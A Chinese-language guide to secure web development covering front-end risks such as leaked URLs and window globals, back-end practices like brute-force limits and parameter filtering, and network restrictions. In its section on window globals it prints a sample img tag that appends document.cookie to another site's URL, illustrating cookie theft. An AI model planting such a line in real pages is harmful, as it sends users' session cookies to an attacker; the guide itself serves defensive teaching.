WEB 應用安全開發
黑客大部分利用的是軟件的漏洞,所以我們要盡可能在開發的時候切斷所有可能被利用的地方。要想開發出安全的系統,我們需要熟悉黑客進攻的模式和防守的策略。
1. 簡介
重視安全最好的策略是將風險最大化,開發的時候要換位思考,如果我是黑客我是不是有辦法繞過當前的限制。在進行具體場景講解前,先來了解一些關鍵詞。
1.1 關鍵名詞
-
同域: 相同域名,端口相同,協議相同,缺一不可。
-
跨域: 瀏覽器從一個域名的網頁去請求另一個域名的資源時,域名、端口、協議至少有一個不相同,就是跨域。
-
ECMAScript: 簡稱(ES)JavaScript 所遵循的語法標準。
-
W3C: 即 萬維網聯盟 ,最重要的工作是發展 Web 規范,這些規范描述了 Web 的通信協議(比如 HTML 和 XHTML)和其他的構建模塊。
1.2 安全領域的參與者
把握安全領域就要把握 Web 流程中的參與者,除了攻擊者外其它角色均需要提供安全的解決方案。從大的方向有下面幾大角色,沒有誰是絕對安全的。
2. 前端安全開發
前端的安全主要圍繞 W3C 進行,同時瀏覽器的漏洞和 Http 協議本身的缺陷也會造成影響。
2.1 明文防范
W3C 三個核心對象:HTML,JavaScript,CSS 分別負責了網站的內容結構,動作交互邏輯,展示樣式。這么核心的東西在客戶都是很容易查看的。雖然 JavaScript 可以混淆加密,但是最終他是需要被瀏覽器解析的,所以肯定是有一套固定的規范,黑客同樣可以輕易解密。
明文也就算了,用戶居然可以任意更改上面 W3C 的核心對象,并產生不同的效果,真的是危機四伏。
- 不要異想天開的在前端與后臺約定某個加密算法,這樣算法一下子就泄露了;
- 對于前端的輸入都要保持懷疑,重要的數據如果后端允許,需要自行生成或者加以校驗;
- 雖然客戶端的一覽無遺,但是還是要盡量使用 Https 協議,保證傳輸的過程是加密的;
- 需要權限的操作,即使前端按鈕隱藏了,后端的接口也需要重新鑒權下,很可能客戶端自己修改 CSS 使按鈕顯示出來了;
2.2 URL 導致的泄露問題
前端任何地方帶有 URL 的都要引起警惕,主要可能帶來下面安全問題:
- 構建系統的某些接口等用戶登錄后觸發;
- 調用別的網站,將該作用域下的 Cookie 傳輸出去。
常見隱藏點:
圖片
<img src='http:xxx'>
css 樣式
background:url(bgimage.gif)
表單 action 地址,或者注入隱藏的 input 參數
<form action=''>
<input type="hidden" name="field_name" value="value">
2.3 window 下的全局變量
Window 下面帶了很多可以直接使用的全局變量,要警惕危險。
危險點:利用 window.document 獲取本域 cookie 然后傳輸到黑客的網站
<img src='別的網站URL?param='+document.cookie >
容易受跨站腳本攻擊利用
window.location.href = 【該值最好不要是動態的,容易被注入】
3. 后端安全開發
3.1 規范問題
- 權威機構平臺漏洞訂閱,并及時做出修改。
- 開發規范的遵守
- 學習相關開發規范手冊。
- IDEA 安裝實時的代碼掃描插件,有問題的地方及時更正。
- 代碼 review 實踐。
- 重要參數不要輕易在日志中輸出。
- 代碼泄露
- 代碼不要上傳網上。
- 數據庫,簽名算法,密鑰值 要重要保管,線上不相關的人不要泄露。
- 重要賬號不要為了一時方便提供給開發,測試 等不相干人員,如果有也要及時修改密碼。
3.2 設計問題
- 類似活動的抽獎,優惠卷領取邏輯不夠嚴謹,可能被人褥羊毛;
- 登錄沒有限制次數,容易被暴力破解;
- 短信驗證沒有設置重發時間,容易被利用做短信轟炸。
3.3 信任問題
-
同域:檢查請求頭的 ref 參數,要么是同域的,要么是信任的才響應。
-
請求參數
- 不要太信任前端參數,重要值后臺能獲取的盡量自己獲取。
- 請求的所有參數都做下 XSS/ SQL 注入 的關鍵字符的過濾。
-
權限:涉及到權限的后端都要自己校驗,不要說前端按鈕隱藏了就可以了。
3.4 增加風控邏輯
- 用戶的賬號異地登陸,可以做出些限制或提醒。
- 某個用戶購買的某個商品或者領取的優惠卷異常多,做出限制。
- 通過 AI 智能模型,對用戶行為,流量數據進行檢測,模型異常就做出限制。
3.5 網絡策略限制
- 數據庫,Redis,ES,等需要設置訪問的 IP 白名單。
- 對服務器進流量和出流量端口做限制。
- 架構上面盡量隱藏內部服務等地址。
- 數據庫和應用最好分開,以免被一鍋端。
4. 小結
安全問題需要經驗累積,軟件開發作為一個團隊協作的工作,大家經驗水平不同,所以盡量在團隊中分享安全開發的相關知識,技術 Leader 定期 Review 組員代碼。